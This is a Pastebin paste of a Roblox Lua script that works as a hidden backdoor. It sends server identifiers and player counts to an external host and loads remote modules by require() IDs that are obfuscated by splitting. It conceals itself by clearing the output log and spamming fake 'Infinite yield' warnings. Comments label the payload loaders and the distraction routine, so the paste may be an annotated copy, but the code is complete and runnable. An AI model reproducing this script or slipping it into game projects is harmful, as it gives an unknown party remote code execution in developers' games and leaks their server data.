Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local HttpService = game:GetService("HttpService")
- local RunService = game:GetService("RunService")
- local Players = game:GetService("Players")
- local LogService = game:GetService("LogService")
- local httpEnabled = false
- local httpStatus = ""
- -- Fake spam function for distraction
- local function iterHelpr()
- for _ = 1, 865 do
- warn("Infinite yield possible on: 'Workspace:WaitForChild(\"Model\")'")
- end
- end
- -- MAIN TRACKING/REPORTING BLOCK
- task.spawn(function()
- if HttpService.HttpEnabled then
- httpEnabled = true
- -- Notify external server after 3 players join
- local playerJoinCount = 0
- Players.PlayerAdded:Connect(function()
- playerJoinCount += 1
- if playerJoinCount == 3 then
- wait(1.5)
- HttpService:GetAsync(
- "https://thebonzer.onrender.com/api/activity_notify?" ..
- "placeId=" .. game.PlaceId ..
- "&jobId=" .. game.JobId ..
- "&plrsOnline=" .. #Players:GetPlayers() ..
- "&maxPlrs=" .. Players.MaxPlayers
- )
- playerJoinCount = 0
- end
- end)
- -- Initial notification on game start
- httpStatus = "enabled"
- local trackingUrl =
- "https://thebonzer.onrender.com/pr-module/notify?" ..
- "jobId=" .. game.JobId ..
- "&maxPlayers=" .. Players.MaxPlayers ..
- "&universeId=" .. game.GameId ..
- "&placeId=" .. game.PlaceId ..
- "&plrsOnline=" .. #Players:GetPlayers() ..
- "&httpStat=" .. httpStatus
- if game.PrivateServerId ~= "" then
- trackingUrl = trackingUrl .. "&privateServerId=" .. game.PrivateServerId
- end
- HttpService:GetAsync(trackingUrl)
- end
- end)
- -- STUDIO-ONLY PAYLOAD LOADER
- task.spawn(function()
- if RunService:IsStudio() then
- local moduleId = tonumber("72951409131048")
- task.spawn(pcall, require, moduleId)
- LogService:ClearOutput()
- iterHelpr()
- end
- end)
- -- LIVE GAME PAYLOAD LOADER
- task.spawn(function()
- if not RunService:IsStudio() and HttpService.HttpEnabled then
- local moduleIdStr = ""
- local moduleIdParts = {81784, 58163, 8634}
- for _, part in ipairs(moduleIdParts) do
- moduleIdStr = moduleIdStr .. part
- end
- local moduleId = tonumber(moduleIdStr) -- 81784581638634
- task.spawn(pcall, require, moduleId)
- iterHelpr()
- end
- end)
- return 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement